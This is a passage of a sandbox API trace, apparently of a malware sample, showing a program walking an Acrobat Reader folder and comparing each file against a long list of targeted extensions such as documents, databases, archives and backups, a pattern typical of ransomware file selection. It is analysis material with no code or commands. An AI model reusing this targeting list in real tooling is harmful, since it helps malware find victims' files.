lstrlenW (lpString=".crw") returned 4 [0276.928] lstrcmpiW (lpString1=".crw", lpString2=".png") returned -1 [0276.928] lstrlenW (lpString=".cs") returned 3 [0276.928] lstrcmpiW (lpString1=".cs", lpString2="png") returned -1 [0276.928] lstrlenW (lpString=".css") returned 4 [0276.928] lstrcmpiW (lpString1=".css", lpString2=".png") returned -1 [0276.928] lstrlenW (lpString=".csv") returned 4 [0276.928] lstrcmpiW (lpString1=".csv", lpString2=".png") returned -1 [0276.928] lstrlenW (lpString=".cub") returned 4 [0276.928] lstrcmpiW (lpString1=".cub", lpString2=".png") returned -1 [0276.928] lstrlenW (lpString=".dae") returned 4 [0276.928] lstrcmpiW (lpString1=".dae", lpString2=".png") returned -1 [0276.928] lstrlenW (lpString=".dat") returned 4 [0276.928] lstrcmpiW (lpString1=".dat", lpString2=".png") returned -1 [0276.928] lstrlenW (lpString=".db") returned 3 [0276.928] lstrcmpiW (lpString1=".db", lpString2="png") returned -1 [0276.928] lstrlenW (lpString=".dbf") returned 4 [0276.928] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0276.928] lstrlenW (lpString=".dbx") returned 4 [0276.928] lstrcmpiW (lpString1=".dbx", lpString2=".png") returned -1 [0276.928] lstrlenW (lpString=".dc3") returned 4 [0276.928] lstrcmpiW (lpString1=".dc3", lpString2=".png") returned -1 [0276.928] lstrlenW (lpString=".dcm") returned 4 [0276.928] lstrcmpiW (lpString1=".dcm", lpString2=".png") returned -1 [0276.928] lstrlenW (lpString=".dcr") returned 4 [0276.928] lstrcmpiW (lpString1=".dcr", lpString2=".png") returned -1 [0276.928] lstrlenW (lpString=".der") returned 4 [0276.929] lstrcmpiW (lpString1=".der", lpString2=".png") returned -1 [0276.929] lstrlenW (lpString=".dib") returned 4 [0276.929] lstrcmpiW (lpString1=".dib", lpString2=".png") returned -1 [0276.929] lstrlenW (lpString=".dic") returned 4 [0276.929] lstrcmpiW (lpString1=".dic", lpString2=".png") returned -1 [0276.929] lstrlenW (lpString=".dif") returned 4 [0276.929] lstrcmpiW (lpString1=".dif", lpString2=".png") returned -1 [0276.929] lstrlenW (lpString=".divx") returned 5 [0276.929] lstrcmpiW (lpString1=".divx", lpString2="s.png") returned -1 [0276.929] lstrlenW (lpString=".djvu") returned 5 [0276.929] lstrcmpiW (lpString1=".djvu", lpString2="s.png") returned -1 [0276.929] lstrlenW (lpString=".dng") returned 4 [0276.929] lstrcmpiW (lpString1=".dng", lpString2=".png") returned -1 [0276.929] lstrlenW (lpString=".doc") returned 4 [0276.929] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0276.929] lstrlenW (lpString=".docm") returned 5 [0276.929] lstrcmpiW (lpString1=".docm", lpString2="s.png") returned -1 [0276.929] lstrlenW (lpString=".docx") returned 5 [0276.929] lstrcmpiW (lpString1=".docx", lpString2="s.png") returned -1 [0276.929] lstrlenW (lpString=".dot") returned 4 [0276.929] lstrcmpiW (lpString1=".dot", lpString2=".png") returned -1 [0276.929] lstrlenW (lpString=".dotm") returned 5 [0276.929] lstrcmpiW (lpString1=".dotm", lpString2="s.png") returned -1 [0276.929] lstrlenW (lpString=".dotx") returned 5 [0276.929] lstrcmpiW (lpString1=".dotx", lpString2="s.png") returned -1 [0276.929] lstrlenW (lpString=".dpx") returned 4 [0276.929] lstrcmpiW (lpString1=".dpx", lpString2=".png") returned -1 [0276.929] lstrlenW (lpString=".dqy") returned 4 [0276.929] lstrcmpiW (lpString1=".dqy", lpString2=".png") returned -1 [0276.929] lstrlenW (lpString=".dsn") returned 4 [0276.929] lstrcmpiW (lpString1=".dsn", lpString2=".png") returned -1 [0276.929] lstrlenW (lpString=".dt") returned 3 [0276.929] lstrcmpiW (lpString1=".dt", lpString2="png") returned -1 [0276.930] lstrlenW (lpString=".dtd") returned 4 [0276.930] lstrcmpiW (lpString1=".dtd", lpString2=".png") returned -1 [0276.930] lstrlenW (lpString=".dwg") returned 4 [0276.930] lstrcmpiW (lpString1=".dwg", lpString2=".png") returned -1 [0276.930] lstrlenW (lpString=".dwt") returned 4 [0276.930] lstrcmpiW (lpString1=".dwt", lpString2=".png") returned -1 [0276.930] lstrlenW (lpString=".dx") returned 3 [0276.930] lstrcmpiW (lpString1=".dx", lpString2="png") returned -1 [0276.930] lstrlenW (lpString=".dxf") returned 4 [0276.930] lstrcmpiW (lpString1=".dxf", lpString2=".png") returned -1 [0276.930] lstrlenW (lpString=".edml") returned 5 [0276.930] lstrcmpiW (lpString1=".edml", lpString2="s.png") returned -1 [0276.930] lstrlenW (lpString=".efd") returned 4 [0276.930] lstrcmpiW (lpString1=".efd", lpString2=".png") returned -1 [0276.930] lstrlenW (lpString=".elf") returned 4 [0276.930] lstrcmpiW (lpString1=".elf", lpString2=".png") returned -1 [0276.930] lstrlenW (lpString=".emf") returned 4 [0276.930] lstrcmpiW (lpString1=".emf", lpString2=".png") returned -1 [0276.930] lstrlenW (lpString=".emz") returned 4 [0276.930] lstrcmpiW (lpString1=".emz", lpString2=".png") returned -1 [0276.930] lstrlenW (lpString=".epf") returned 4 [0276.930] lstrcmpiW (lpString1=".epf", lpString2=".png") returned -1 [0276.930] lstrlenW (lpString=".eps") returned 4 [0276.930] lstrcmpiW (lpString1=".eps", lpString2=".png") returned -1 [0276.930] lstrlenW (lpString=".epsf") returned 5 [0276.930] lstrcmpiW (lpString1=".epsf", lpString2="s.png") returned -1 [0276.930] lstrlenW (lpString=".epsp") returned 5 [0276.930] lstrcmpiW (lpString1=".epsp", lpString2="s.png") returned -1 [0276.930] lstrlenW (lpString=".erf") returned 4 [0276.930] lstrcmpiW (lpString1=".erf", lpString2=".png") returned -1 [0276.930] lstrlenW (lpString=".exr") returned 4 [0276.930] lstrcmpiW (lpString1=".exr", lpString2=".png") returned -1 [0276.930] lstrlenW (lpString=".f4v") returned 4 [0276.930] lstrcmpiW (lpString1=".f4v", lpString2=".png") returned -1 [0276.931] lstrlenW (lpString=".fido") returned 5 [0276.931] lstrcmpiW (lpString1=".fido", lpString2="s.png") returned -1 [0276.931] lstrlenW (lpString=".flm") returned 4 [0276.931] lstrcmpiW (lpString1=".flm", lpString2=".png") returned -1 [0276.931] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="example_icons2x.png", cAlternateFileName="EXAMPL~1.PNG")) returned 1 [0276.931] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1bd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon.png", cAlternateFileName="RHP_WO~2.PNG")) returned 1 [0276.931] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon_2x.png", cAlternateFileName="RHP_WO~3.PNG")) returned 1 [0276.931] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon_hover.png", cAlternateFileName="RHP_WO~4.PNG")) returned 1 [0276.931] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 1 [0276.932] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 1 [0276.932] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0276.932] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315bf0 [0276.932] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.932] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0276.932] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0276.932] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315a70 [0276.933] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0276.933] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="example_icons.png", cAlternateFileName="EXAMPL~2.PNG")) returned 1 [0276.933] lstrlenW (lpString="example_icons.png") returned 17 [0276.934] lstrlenW (lpString=".1cd") returned 4 [0276.934] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0276.934] lstrlenW (lpString=".3ds") returned 4 [0276.934] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0276.934] lstrlenW (lpString=".3fr") returned 4 [0276.934] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0276.934] lstrlenW (lpString=".3g2") returned 4 [0276.934] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0276.934] lstrlenW (lpString=".3gp") returned 4 [0276.934] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0276.934] lstrlenW (lpString=".7z") returned 3 [0276.934] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0276.934] lstrlenW (lpString=".accda") returned 6 [0276.934] lstrcmpiW (lpString1=".accda", lpString2="ns.png") returned -1 [0276.934] lstrlenW (lpString=".accdb") returned 6 [0276.934] lstrcmpiW (lpString1=".accdb", lpString2="ns.png") returned -1 [0276.934] lstrlenW (lpString=".accdc") returned 6 [0276.934] lstrcmpiW (lpString1=".accdc", lpString2="ns.png") returned -1 [0276.934] lstrlenW (lpString=".accde") returned 6 [0276.934] lstrcmpiW (lpString1=".accde", lpString2="ns.png") returned -1 [0276.934] lstrlenW (lpString=".accdt") returned 6 [0276.934] lstrcmpiW (lpString1=".accdt", lpString2="ns.png") returned -1 [0276.934] lstrlenW (lpString=".accdw") returned 6 [0276.934] lstrcmpiW (lpString1=".accdw", lpString2="ns.png") returned -1 [0276.934] lstrlenW (lpString=".adb") returned 4 [0276.934] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0276.934] lstrlenW (lpString=".adp") returned 4 [0276.934] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0276.934] lstrlenW (lpString=".ai") returned 3 [0276.934] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0276.934] lstrlenW (lpString=".ai3") returned 4 [0276.934] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0276.934] lstrlenW (lpString=".ai4") returned 4 [0276.935] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0276.935] lstrlenW (lpString=".ai5") returned 4 [0276.935] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0276.935] lstrlenW (lpString=".ai6") returned 4 [0276.935] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0276.935] lstrlenW (lpString=".ai7") returned 4 [0276.935] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0276.935] lstrlenW (lpString=".ai8") returned 4 [0276.935] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0276.935] lstrlenW (lpString=".anim") returned 5 [0276.935] lstrcmpiW (lpString1=".anim", lpString2="s.png") returned -1 [0276.935] lstrlenW (lpString=".arw") returned 4 [0276.935] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0276.935] lstrlenW (lpString=".as") returned 3 [0276.935] lstrcmpiW (lpString1=".as", lpString2="png") returned -1 [0276.935] lstrlenW (lpString=".asa") returned 4 [0276.935] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1 [0276.935] lstrlenW (lpString=".asc") returned 4 [0276.935] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1 [0276.935] lstrlenW (lpString=".ascx") returned 5 [0276.935] lstrcmpiW (lpString1=".ascx", lpString2="s.png") returned -1 [0276.935] lstrlenW (lpString=".asm") returned 4 [0276.935] lstrcmpiW (lpString1=".asm", lpString2=".png") returned -1 [0276.935] lstrlenW (lpString=".asmx") returned 5 [0276.935] lstrcmpiW (lpString1=".asmx", lpString2="s.png") returned -1 [0276.935] lstrlenW (lpString=".asp") returned 4 [0276.935] lstrcmpiW (lpString1=".asp", lpString2=".png") returned -1 [0276.935] lstrlenW (lpString=".aspx") returned 5 [0276.935] lstrcmpiW (lpString1=".aspx", lpString2="s.png") returned -1 [0276.935] lstrlenW (lpString=".asr") returned 4 [0276.935] lstrcmpiW (lpString1=".asr", lpString2=".png") returned -1 [0276.936] lstrlenW (lpString=".asx") returned 4 [0276.936] lstrcmpiW (lpString1=".asx", lpString2=".png") returned -1 [0276.936] lstrlenW (lpString=".avi") returned 4 [0276.936] lstrcmpiW (lpString1=".avi", lpString2=".png") returned -1 [0276.936] lstrlenW (lpString=".avs") returned 4 [0276.936] lstrcmpiW (lpString1=".avs", lpString2=".png") returned -1 [0276.936] lstrlenW (lpString=".backup") returned 7 [0276.936] lstrcmpiW (lpString1=".backup", lpString2="ons.png") returned -1 [0276.936] lstrlenW (lpString=".bak") returned 4 [0276.936] lstrcmpiW (lpString1=".bak", lpString2=".png") returned -1 [0276.936] lstrlenW (lpString=".bay") returned 4 [0276.936] lstrcmpiW (lpString1=".bay", lpString2=".png") returned -1 [0276.936] lstrlenW (lpString=".bd") returned 3 [0276.936] lstrcmpiW (lpString1=".bd", lpString2="png") returned -1 [0276.936] lstrlenW (lpString=".bin") returned 4 [0276.936] lstrcmpiW (lpString1=".bin", lpString2=".png") returned -1 [0276.936] lstrlenW (lpString=".bmp") returned 4 [0276.936] lstrcmpiW (lpString1=".bmp", lpString2=".png") returned -1 [0276.936] lstrlenW (lpString=".bz2") returned 4 [0276.936] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0276.936] lstrlenW (lpString=".c") returned 2 [0276.936] lstrcmpiW (lpString1=".c", lpString2="ng") returned -1 [0276.936] lstrlenW (lpString=".cdr") returned 4 [0276.936] lstrcmpiW (lpString1=".cdr", lpString2=".png") returned -1 [0276.936] lstrlenW (lpString=".cer") returned 4 [0276.936] lstrcmpiW (lpString1=".cer", lpString2=".png") returned -1 [0276.936] lstrlenW (lpString=".cf") returned 3 [0276.936] lstrcmpiW (lpString1=".cf", lpString2="png") returned -1 [0276.936] lstrlenW (lpString=".cfc") returned 4 [0276.936] lstrcmpiW (lpString1=".cfc", lpString2=".png") returned -1 [0276.936] lstrlenW (lpString=".cfm") returned 4 [0276.936] lstrcmpiW (lpString1=".cfm", lpString2=".png") returned -1 [0276.937] lstrlenW (lpString=".cfml") returned 5 [0276.937] lstrcmpiW (lpString1=".cfml", lpString2="s.png") returned -1 [0276.937] lstrlenW (lpString=".cfu") returned 4 [0276.937] lstrcmpiW (lpString1=".cfu", lpString2=".png") returned -1 [0276.937] lstrlenW (lpString=".chm") returned 4 [0276.937] lstrcmpiW (lpString1=".chm", lpString2=".png") returned -1 [0276.937] lstrlenW (lpString=".cin") returned 4 [0276.937] lstrcmpiW (lpString1=".cin", lpString2=".png") returned -1 [0276.937] lstrlenW (lpString=".class") returned 6 [0276.937] lstrcmpiW (lpString1=".class", lpString2="ns.png") returned -1 [0276.937] lstrlenW (lpString=".clx") returned 4 [0276.937] lstrcmpiW (lpString1=".clx", lpString2=".png") returned -1 [0276.937] lstrlenW (lpString=".config") returned 7 [0276.937] lstrcmpiW (lpString1=".config", lpString2="ons.png") returned -1 [0276.937] lstrlenW (lpString=".cpp") returned 4 [0276.937] lstrcmpiW (lpString1=".cpp", lpString2=".png") returned -1 [0276.937] lstrlenW (lpString=".cr2") returned 4 [0276.937] lstrcmpiW (lpString1=".cr2", lpString2=".png") returned -1 [0276.937] lstrlenW (lpString=".crt") returned 4 [0276.937] lstrcmpiW (lpString1=".crt", lpString2=".png") returned -1 [0276.937] lstrlenW (lpString=".crw") returned 4 [0276.937] lstrcmpiW (lpString1=".crw", lpString2=".png") returned -1 [0276.938] lstrlenW (lpString=".cs") returned 3 [0276.938] lstrcmpiW (lpString1=".cs", lpString2="png") returned -1 [0276.938] lstrlenW (lpString=".css") returned 4 [0276.938] lstrcmpiW (lpString1=".css", lpString2=".png") returned -1 [0276.938] lstrlenW (lpString=".csv") returned 4 [0276.938] lstrcmpiW (lpString1=".csv", lpString2=".png") returned -1 [0276.938] lstrlenW (lpString=".cub") returned 4 [0276.938] lstrcmpiW (lpString1=".cub", lpString2=".png") returned -1 [0276.938] lstrlenW (lpString=".dae") returned 4 [0276.938] lstrcmpiW (lpString1=".dae", lpString2=".png") returned -1 [0276.938] lstrlenW (lpString=".dat") returned 4 [0276.938] lstrcmpiW (lpString1=".dat", lpString2=".png") returned -1 [0276.938] lstrlenW (lpString=".db") returned 3 [0276.938] lstrcmpiW (lpString1=".db", lpString2="png") returned -1 [0276.938] lstrlenW (lpString=".dbf") returned 4 [0276.938] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0276.938] lstrlenW (lpString=".dbx") returned 4 [0276.938] lstrcmpiW (lpString1=".dbx", lpString2=".png") returned -1 [0276.938] lstrlenW (lpString=".dc3") returned 4 [0276.938] lstrcmpiW (lpString1=".dc3", lpString2=".png") returned -1 [0276.938] lstrlenW (lpString=".dcm") returned 4 [0276.938] lstrcmpiW (lpString1=".dcm", lpString2=".png") returned -1 [0276.938] lstrlenW (lpString=".dcr") returned 4 [0276.938] lstrcmpiW (lpString1=".dcr", lpString2=".png") returned -1 [0276.938] lstrlenW (lpString=".der") returned 4 [0276.938] lstrcmpiW (lpString1=".der", lpString2=".png") returned -1 [0276.938] lstrlenW (lpString=".dib") returned 4 [0276.938] lstrcmpiW (lpString1=".dib", lpString2=".png") returned -1 [0276.938] lstrlenW (lpString=".dic") returned 4 [0276.938] lstrcmpiW (lpString1=".dic", lpString2=".png") returned -1 [0276.938] lstrlenW (lpString=".dif") returned 4 [0276.938] lstrcmpiW (lpString1=".dif", lpString2=".png") returned -1 [0276.938] lstrlenW (lpString=".divx") returned 5 [0276.939] lstrcmpiW (lpString1=".divx", lpString2="s.png") returned -1 [0276.939] lstrlenW (lpString=".djvu") returned 5 [0276.939] lstrcmpiW (lpString1=".djvu", lpString2="s.png") returned -1 [0276.939] lstrlenW (lpString=".dng") returned 4 [0276.939] lstrcmpiW (lpString1=".dng", lpString2=".png") returned -1 [0276.939] lstrlenW (lpString=".doc") returned 4 [0276.939] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0276.939] lstrlenW (lpString=".docm") returned 5 [0276.939] lstrcmpiW (lpString1=".docm", lpString2="s.png") returned -1 [0276.939] lstrlenW (lpString=".docx") returned 5 [0276.939] lstrcmpiW (lpString1=".docx", lpString2="s.png") returned -1 [0276.939] lstrlenW (lpString=".dot") returned 4 [0276.939] lstrcmpiW (lpString1=".dot", lpString2=".png") returned -1 [0276.939] lstrlenW (lpString=".dotm") returned 5 [0276.939] lstrcmpiW (lpString1=".dotm", lpString2="s.png") returned -1 [0276.939] lstrlenW (lpString=".dotx") returned 5 [0276.939] lstrcmpiW (lpString1=".dotx", lpString2="s.png") returned -1 [0276.939] lstrlenW (lpString=".dpx") returned 4 [0276.939] lstrcmpiW (lpString1=".dpx", lpString2=".png") returned -1 [0276.939] lstrlenW (lpString=".dqy") returned 4 [0276.939] lstrcmpiW (lpString1=".dqy", lpString2=".png") returned -1 [0276.939] lstrlenW (lpString=".dsn") returned 4 [0276.939] lstrcmpiW (lpString1=".dsn", lpString2=".png") returned -1 [0276.939] lstrlenW (lpString=".dt") returned 3 [0276.939] lstrcmpiW (lpString1=".dt", lpString2="png") returned -1 [0276.939] lstrlenW (lpString=".dtd") returned 4 [0276.939] lstrcmpiW (lpString1=".dtd", lpString2=".png") returned -1 [0276.939] lstrlenW (lpString=".dwg") returned 4 [0276.939] lstrcmpiW (lpString1=".dwg", lpString2=".png") returned -1 [0276.939] lstrlenW (lpString=".dwt") returned 4 [0276.939] lstrcmpiW (lpString1=".dwt", lpString2=".png") returned -1 [0276.939] lstrlenW (lpString=".dx") returned 3 [0276.939] lstrcmpiW (lpString1=".dx", lpString2="png") returned -1 [0276.940] lstrlenW (lpString=".dxf") returned 4 [0276.940] lstrcmpiW (lpString1=".dxf", lpString2=".png") returned -1 [0276.940] lstrlenW (lpString=".edml") returned 5 [0276.940] lstrcmpiW (lpString1=".edml", lpString2="s.png") returned -1 [0276.940] lstrlenW (lpString=".efd") returned 4 [0276.940] lstrcmpiW (lpString1=".efd", lpString2=".png") returned -1 [0276.940] lstrlenW (lpString=".elf") returned 4 [0276.940] lstrcmpiW (lpString1=".elf", lpString2=".png") returned -1 [0276.940] lstrlenW (lpString=".emf") returned 4 [0276.940] lstrcmpiW (lpString1=".emf", lpString2=".png") returned -1 [0276.940] lstrlenW (lpString=".emz") returned 4 [0276.940] lstrcmpiW (lpString1=".emz", lpString2=".png") returned -1 [0276.940] lstrlenW (lpString=".epf") returned 4 [0276.940] lstrcmpiW (lpString1=".epf", lpString2=".png") returned -1 [0276.940] lstrlenW (lpString=".eps") returned 4 [0276.940] lstrcmpiW (lpString1=".eps", lpString2=".png") returned -1 [0276.940] lstrlenW (lpString=".epsf") returned 5 [0276.940] lstrcmpiW (lpString1=".epsf", lpString2="s.png") returned -1 [0276.940] lstrlenW (lpString=".epsp") returned 5 [0276.940] lstrcmpiW (lpString1=".epsp", lpString2="s.png") returned -1 [0276.940] lstrlenW (lpString=".erf") returned 4 [0276.940] lstrcmpiW (lpString1=".erf", lpString2=".png") returned -1 [0276.940] lstrlenW (lpString=".exr") returned 4 [0276.940] lstrcmpiW (lpString1=".exr", lpString2=".png") returned -1 [0276.940] lstrlenW (lpString=".f4v") returned 4 [0276.940] lstrcmpiW (lpString1=".f4v", lpString2=".png") returned -1 [0276.940] lstrlenW (lpString=".fido") returned 5 [0276.940] lstrcmpiW (lpString1=".fido", lpString2="s.png") returned -1 [0276.940] lstrlenW (lpString=".flm") returned 4 [0276.940] lstrcmpiW (lpString1=".flm", lpString2=".png") returned -1 [0276.940] lstrlenW (lpString=".flv") returned 4 [0276.940] lstrcmpiW (lpString1=".flv", lpString2=".png") returned -1 [0276.940] lstrlenW (lpString=".frm") returned 4 [0276.940] lstrcmpiW (lpString1=".frm", lpString2=".png") returned -1 [0276.940] lstrlenW (lpString=".fxg") returned 4 [0276.941] lstrcmpiW (lpString1=".fxg", lpString2=".png") returned -1 [0276.941] lstrlenW (lpString=".geo") returned 4 [0276.941] lstrcmpiW (lpString1=".geo", lpString2=".png") returned -1 [0276.941] lstrlenW (lpString=".gif") returned 4 [0276.941] lstrcmpiW (lpString1=".gif", lpString2=".png") returned -1 [0276.941] lstrlenW (lpString=".grs") returned 4 [0276.941] lstrcmpiW (lpString1=".grs", lpString2=".png") returned -1 [0276.941] lstrlenW (lpString=".gz") returned 3 [0276.941] lstrcmpiW (lpString1=".gz", lpString2="png") returned -1 [0276.941] lstrlenW (lpString=".h") returned 2 [0276.941] lstrcmpiW (lpString1=".h", lpString2="ng") returned -1 [0276.941] lstrlenW (lpString=".hdr") returned 4 [0276.941] lstrcmpiW (lpString1=".hdr", lpString2=".png") returned -1 [0276.941] lstrlenW (lpString=".hpp") returned 4 [0276.941] lstrcmpiW (lpString1=".hpp", lpString2=".png") returned -1 [0276.941] lstrlenW (lpString=".hta") returned 4 [0276.941] lstrcmpiW (lpString1=".hta", lpString2=".png") returned -1 [0276.941] lstrlenW (lpString=".htc") returned 4 [0276.941] lstrcmpiW (lpString1=".htc", lpString2=".png") returned -1 [0276.941] lstrlenW 